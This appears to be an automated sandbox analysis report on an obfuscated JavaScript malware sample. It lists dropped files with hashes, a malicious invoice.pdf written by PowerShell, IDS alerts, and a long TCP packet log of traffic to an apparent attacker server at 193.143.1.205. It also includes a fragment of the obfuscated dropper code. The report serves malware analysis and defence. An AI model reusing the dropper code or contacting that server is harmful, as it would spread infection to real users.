Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a6e5de95-30dd-4be1-b9af-dfa617fb7a03.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15777), with CRLF line terminators
Entropy (8bit):	4.903092203350055
TrID:
File name:	25055222211104026628.js
File size:	19'393 bytes
MD5:	4d6534dbdcb4a43a9c7cc3543646aa1e
SHA1:	e4329381d920000886067d6d625c711f571069a7
SHA256:	236960faafbad83136354dbb4e515ad80bda68e456083a60d190900da9fcd1df
SHA512:	de170b071abc18161b0bfa9f0d7e5008d0c95dae164ad521104f3d97cc3d3b84dc9b1421b4f7a96ff9a58ff4a6dce190eefed48928825c0619aee779918408c9
SSDEEP:	384:v5Yr7vrpeMb+AfkXjNZ7Hc55mwzTtxX3o0qXIcs0XnsGw3JaOBzGHCb2e26eRhB7:Cvpey+AfkXjNZ7HoJ6nsXUOBzGHCb2ey
TLSH:	2A9241296E09928743FC41B0C9AB4DA302B513CDEFDD52E7A5431CFD87822CA39E6476
File Content Preview:	function sklplzusg(){nggqpgv=[1031,3079,5127,4103,2055,3072];var grmmfb=this[qdhbpklkx+dqurh+vpwzfd+eelhsy+aozsyblpa+tatqrh+rznhlkn+vodzrwo](this[gvuepflnk+nqoilrzi+wrlqmlgzo+vpwzfd+zckanvng+qdhbpklkx+vodzrwo][qyraftchq+vpwzfd+aozsyblpa+dqurh+vodzrwo+aozs

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:04:21.430267+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T23:04:23.978839+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:04:20.590543985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:20.595662117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:20.595757961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:20.598560095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:20.603430033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430160046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430180073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430205107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430218935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430236101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430243969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430257082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430269957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430267096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.430284023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430299997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.430331945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.430366993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.435163021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.478852987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.480765104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.480782986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.480803013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.480832100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.525706053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.555830956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.555857897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.555871010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.555893898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.555924892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.555948019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.556111097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.556158066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.556171894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.556221962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.556251049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.556263924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.556298018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.557024002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557068110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.557068110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557085037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557123899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.557137012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557770967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557781935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557804108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557813883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.557816982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557832956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.557853937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.557873964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.558545113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.571156025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.571239948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.606014967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.606035948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.606050014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.606065989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.606137991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.606169939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.646406889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.646425009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.646491051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.681313992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681341887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681355953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681368113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681381941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681395054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681410074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681454897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.681487083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.681700945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681714058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681725025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681755066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.681776047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.681792021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681803942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681816101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681828976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.681837082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.681869984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.682538033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.682585955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.682605028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.682616949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.682630062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.682657003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.682744026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.682755947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.682770967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.682785034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.683473110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.683485031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.683499098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.683525085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.683553934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.683640957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.683651924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.683662891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.683676004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.683680058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.683727026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.684418917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.684467077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.684479952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.684504032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.684566975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.684580088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.684613943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.684640884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.684653044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.684680939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.685441971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.685455084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.685466051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.685498953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.685524940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.696480036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731193066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731215954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731231928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731280088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731292009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731303930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.731338024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.731348991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.731431007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731441975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731477022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.731508017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731519938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.731564999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.771800995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.771840096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.771861076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.771874905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.771893024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.771893978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.771922112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.806786060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806826115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806839943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806852102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806859016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806865931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806919098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.806952953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806966066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806968927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.806979895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.806993008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.807027102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.807063103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807192087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807204962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807248116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807259083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807320118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.807320118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.807424068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807470083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.807540894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807553053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807573080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807584047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807595968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807607889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.807630062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.807959080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807971954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.807984114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808022976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.808044910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.808051109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808063030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808073997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808087111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808099985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.808120012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.808219910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808233023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808247089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808259964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808294058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.808321953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.808891058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808903933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808917999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.808955908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.809024096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809036016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809046984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809058905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809075117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.809114933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809146881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.809164047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.809185982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809199095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809211969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809248924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.809849977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809861898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809873104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809907913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.809926987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809931040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.809942007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809952974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809967995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.809981108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.810003996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.810125113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810137987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810148954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810162067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810189962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.810210943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.810934067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810945988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810957909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810971975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810983896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.810993910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.811002970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.811016083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.811021090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.811028957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.811043024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.811048031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.811083078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.820022106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.821674109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.821700096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.821712971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.821734905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.821769953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.821778059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.821791887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.821804047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.821844101 CET	49704	80	192.168.2.8	193.143.1.205
